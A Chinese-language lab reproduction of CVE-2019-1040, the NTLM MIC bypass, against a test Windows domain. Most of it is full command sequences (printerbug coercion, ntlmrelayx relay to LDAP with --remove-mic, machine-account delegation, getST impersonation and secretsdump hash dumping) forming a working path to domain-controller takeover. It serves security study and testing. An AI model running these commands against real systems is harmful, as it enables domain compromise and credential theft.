CVE-2019-1040 复现
原理
CVE-2019-1040漏洞的实质是NTLM数据包完整性校验存在缺陷,攻击者可以利用该漏洞绕过NTLM MIC(消息完整性检查),修改NTLM身份验证流程中的签名要求(将TLMSSP_NEGOTIATE_ALWAYS_SIGN,NTLMSSP_NEGOTIATE_SIGN,NEGOTIATE_KEY_EXCHANGE,NEGOTIATE_VERSION置0),NEGOTIATE_KEY_EXCHANGE和NEGOTIATE_VERSION位置为0,就不再检验MIC了。攻击链中攻击者修改了数据包中阻止从SMB转发到LDAP的标志,并尝试中继到目标服务器。不强制执行签名的服务器都易受到攻击(域内只有域控制器强制签名smb,ldap为协商签名),通过这种攻击能使攻击者在仅有一个普通域账号的情况下可远程控制 Windows 域内的任何机器,包括域控服务器。
利用方法
利用1-exchange
通过printerbug使exchange机器向攻击机发送认证回连攻击者的机器,再使用ntlmrelayx --remove-mic参数绕过NTLM MIC校验,将smb中继到LDAP进行身份认证。
打印机的spoolsv.exe服务允许用户远程调用,当用户向RemoteFindFirstPrinterChangeNotificationEx该函数传入一个UNC路径进行更新作业,打印机服务就回去请求该UNC路径,由于spoolsv.exe是system权限运行的,使用该账户对网络资源进行身份验证可能会出现安全问题,所以就迫使打印机更新作业的请求为机器账户。
这里为什么是使用exchange的机器对我们发起认证,是因为Exchange机器账号有WriteACL的权限,为攻击者指定的帐户授予DCSync,随后攻击者使用secretsdump导出域内哈希。
利用2-Kerberos 委派
与exchange攻击方式相同,只是在执行ntlmrelayx.py 本时,需要使用 --delegate-access 选项,delegate-access 选项将中继计算机帐户(这里即辅助域控制器)的访问权限委托给攻击机器。
复现
利用-exchange
192.168.3.4 kali 攻击机
192.168.3.9 域控机器
192.168.3.144 域控(exchange)
域内用户:rootkit.org\jerry
利用打印机漏洞
利用打印机漏洞,使用域用户jerry使用exchange对我的kali进行认证。
python3 printerbug.py rootkit.org/jerry@192.168.3.144 192.168.3.4
利用ntlmrelayx.py脚本中继攻击
利用ntlmrelayx.py脚本进行NTLM中继攻击,设置SMB服务器并将认证凭证中继到LDAP协议。
该脚本会判断当前用户是否具有 创建用户,将用户添加到Enterprise Admins的权限,修改域ACL。
python3 ntlmrelayx.py --remove-mic --escalate-use jerry -t ldap://192.168.3.9 -smb2support
清除Mic标志
--remove-mic
指定要提升权限的用户
–escalate-user
指定中继到kali的ldap协议
-t
这里可以看到向我们发起请求的是OWA2013$ exchange的机器用户,Exchange机器账号有WriteACL的权限,为攻击者指定的帐户授予DCSync,随后攻击者使用secretsdump导出域内哈希。
使用当前用户dcsync
python3 secretsdump.py rootkit.org/jerry@192.168.3.9 -just-dc
利用Kerberos委派
192.168.3.4 kali 攻击机
192.168.3.9 辅助域控机器
192.168.3.144 域控(exchange)
域内用户:rootkit.org\jerry
利用1 添加机器用户设置约束委派
添加一个机器账户
python3 addcomputer.py -computer-name '9z1nc' -computer-pass '9z1nc' -dc-ip 192.168.3.9 'rootkit.org/jerry:Admin12345' -method SAMR -debug
利用ntlmrelayx.py脚本中继攻击
python3 ntlmrelayx.py --remove-mic --escalate-user 9z1nc$ -t ldap://192.168.3.144 -smb2support --delegate-access
--escalate-user 参数设置9z1nc$资源委派
--delegate-access 将中继计算机帐户DC$(辅助域控制器)的访问权限委托给kali攻击机
触发辅助域控制器回连kali攻击机,这里回连认证的用户就是dc$用户
这里可以看到设置了9z1nc$到DC$辅助域控制器的约束委派授权,后续使用9z1nc$用户去申请
迫使辅助域控向我们发送认证
python3 printerbug.py rootkit.org/jerry:Admin12345@192.168.3.9 192.168.3.4
模拟administrtaor用户票据
python3 getST.py -spn host/dc.rootkit.org 'rootkit.org'/'9z1nc$:9z1nc' -impersonate administrator
9z1nc$到dc$的s4u2self,通过-impersonate参数模拟用户administrator的票据,获取administrator的权限
注意:这里为了能访问到dc.rootkit.org我在kali 的host文件中加了一条192.168.3.9 dc.rootkit.org
利用secretsdump.py导出域内hash
导入刚刚生成的票据,即可访问到辅助域控制器,在目标主机(辅助域控制器)上模拟administrator身份,利用secretsdump转储哈希值。
export KRB5CCNAME=administrator@host_dc.rootkit.org@ROOTKIT.ORG.ccache
python3 secretsdump.py -k -no-pass dc.rootkit.org -just-dc